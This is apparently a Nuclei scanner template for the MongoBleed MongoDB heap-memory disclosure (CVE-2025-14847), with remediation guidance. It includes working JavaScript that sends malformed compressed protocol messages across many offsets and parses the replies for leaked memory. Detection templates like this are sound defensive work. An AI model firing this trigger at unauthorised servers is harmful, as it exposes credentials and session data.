id: CVE-2025-14847
info:
  name: MongoDB Server - Information Disclosure (MongoBleed)
  author: pussycat0x,joe-desimone,DhiyaneshDK,Wiz Research
  severity: high
  description: |
    MongoDB Server contained a flaw in the zlib decompression logic where
    mismatched length fields in compressed protocol headers allowed a read
    of uninitialized heap memory by an unauthenticated client.
  impact: |
    Unauthenticated clients can read uninitialized heap memory, potentially
    exposing credentials, session tokens, API keys, and other sensitive data.
  remediation: |
    Update to versions 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, or 4.4.30.
    Alternatively, disable zlib compression using snappy,zstd or disabled.
  reference:
    - https://jira.mongodb.org/browse/SERVER-115508
    - https://github.com/joe-desimone/mongobleed
    - https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-14847
    epss-score: 0.55832
    epss-percentile: 0.98127
    cwe-id: CWE-908
  metadata:
    verified: true
    max-request: 2
    vendor: mongodb
    product: mongodb
    shodan-query: product:"MongoDB"
    fofa-query: protocol="mongodb"
  tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev

flow: tcp(1) && javascript(1)

tcp:
  - inputs:
      - data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000
        type: hex
    host:
      - "{{Hostname}}"
    port: 27017
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        part: raw
        words:
          - "version"
          - "maxBsonObjectSize"
        condition: and

      - type: dsl
        dsl:
          - "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')"
          - "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')"
          - "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')"
          - "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')"
          - "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')"
          - "compare_versions(version, '>= 4.4.0') && compare_versions(version, '<= 4.4.29')"
          - "compare_versions(version, '>= 4.2.0') && compare_versions(version, '<= 4.2.25')"
          - "compare_versions(version, '>= 4.0.0') && compare_versions(version, '<= 4.0.28')"
          - "compare_versions(version, '>= 3.6.0') && compare_versions(version, '<= 3.6.23')"
        condition: or

    extractors:
      - type: regex
        name: version
        part: raw
        group: 1
        regex:
          - '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)'

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const net = require('nuclei/net');

      function uint32ToHexLE(value) {
        const bytes = [
          (value & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 8) & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 16) & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 24) & 0xFF).toString(16).padStart(2, '0')
        ];
        return bytes.join('');
      }

      function int32ToHexLE(value) {
        const unsigned = value >>> 0;
        return uint32ToHexLE(unsigned);
      }

      const staticCompressed = "789c6360000211201648646004520003a60087";

      function stringToBytes(str) {
        const bytes = [];
        for (let i = 0; i < str.length; i++) {
          bytes.push(str.charCodeAt(i));
        }
        return bytes;
      }

      function findBytePattern(bytes, pattern) {
        if (pattern.length === 0 || bytes.length < pattern.length) {
          return -1;
        }
        for (let i = 0; i <= bytes.length - pattern.length; i++) {
          let match = true;
          for (let j = 0; j < pattern.length; j++) {
            if (bytes[i + j] !== pattern[j]) {
              match = false;
              break;
            }
          }
          if (match) {
            return i;
          }
        }
        return -1;
      }

      function isMongoDBResponse(responseBytes) {
        if (!responseBytes || responseBytes.length < 16) return false;
        const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
        return (opcode === 1 || opcode === 2012 || opcode === 2013);
      }

      function extractLeaks(responseBytes) {
        if (!responseBytes || responseBytes.length < 16) {
          return [];
        }

        if (!isMongoDBResponse(responseBytes)) {
          return [];
        }

        const leaks = [];
        let raw = [];

        const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
        const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);

        if (msgLen < 16 || msgLen > 100000) {
          return [];
        }

        if (opcode === 0) {
          raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
        } else if (opcode === 2012) {
          raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
        } else {
          raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
        }

        if (raw.length === 0) {
          return leaks;
        }

        const fieldNamePattern = stringToBytes("field name '");
        let searchPos = 0;
        while (true) {
          const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern);
          if (pos === -1) break;

          const actualPos = searchPos + pos + fieldNamePattern.length;
          let fieldName = "";
          for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) {
            if (raw[i] === 39) break;
            if (raw[i] >= 32 && raw[i] < 127) {
              fieldName += String.fromCharCode(raw[i]);
            } else {
              break;
            }
          }

          if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') {
            leaks.push(fieldName);
          }

          searchPos = actualPos + 1;
          if (searchPos >= raw.length) break;
        }

        const invalidBSONPattern = stringToBytes("InvalidBSON");
        const bsonLengthPattern = stringToBytes("bson length");
        const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1;
        const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1;

        if (hasInvalidBSON || hasBsonLength) {
          if (raw.length > 50) {
            leaks.push("bson_error_with_leaked_memory");
          }
        }

        return leaks;
      }

      const minOffset = parseInt(MinOffset) || 20;
      const maxOffset = parseInt(MaxOffset) || 8192;
      const allOutput = [];

      for (let docLen = minOffset; docLen < maxOffset; docLen++) {
        const bufferSize = docLen + 500;

        let payloadHex = uint32ToHexLE(2013);
        payloadHex += int32ToHexLE(bufferSize);
        payloadHex += "02";
        payloadHex += staticCompressed;

        const payloadBytes = payloadHex.length / 2;
        const messageLength = 16 + payloadBytes;

        let headerHex = uint32ToHexLE(messageLength);
        headerHex += uint32ToHexLE(1);
        headerHex += uint32ToHexLE(0);
        headerHex += uint32ToHexLE(2012);

        const fullMessage = headerHex + payloadHex;

        try {
          const conn = net.Open('tcp', `${Host}:${Port}`);
          if (!conn) continue;
          conn.SetTimeout(10);
          conn.SendHex(fullMessage);

          let responseBytes = [];
          while (true) {
            const chunk = conn.Recv(2048);
            if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) {
              break;
            }

            const chunkBytes = [];
            if (Array.isArray(chunk)) {
              for (let i = 0; i < chunk.length; i++) {
                const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]);
                if (!isNaN(byte)) chunkBytes.push(byte);
              }
            } else if (typeof chunk === 'string') {
              for (let i = 0; i < chunk.length; i++) {
                chunkBytes.push(chunk.charCodeAt(i));
              }
            }

            if (chunkBytes.length > 0) {
              responseBytes = responseBytes.concat(chunkBytes);
            }

            if (responseBytes.length < 4) continue;

            const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
            if (responseBytes.length >= msgLen) break;
          }

          conn.Close();

          if (responseBytes.length > 0) {
            const leaks = extractLeaks(responseBytes);
            let hasLeaks = false;

            for (let i = 0; i < leaks.length; i++) {
              if (leaks[i] && leaks[i].length > 0) {
                hasLeaks = true;
                break;
              }
            }

            if (hasLeaks) {
              allOutput.push(`leak found at offset ${docLen}`);
              break;
            }
          }
        } catch (e) {
        }
      }

      if (allOutput.length > 0) {
        allOutput.join('\n')
      } else {
        ""
      }

    args:
      Host: "{{Host}}"
      Port: 27017
      MinOffset: 20
      MaxOffset: 8192

    extractors:
      - type: dsl
        dsl:
          - response
# digest: 4a0a00473045022100a748981946e6de59000453b712b95b3d8bddc201a3aa500fdd6f33b400ea4fd102202fe65693945246079edbfd7218d265ca8f24efbfbfbfe38c75fbcd07e520e0fb:922c64590222798bb761d5b6d8e72950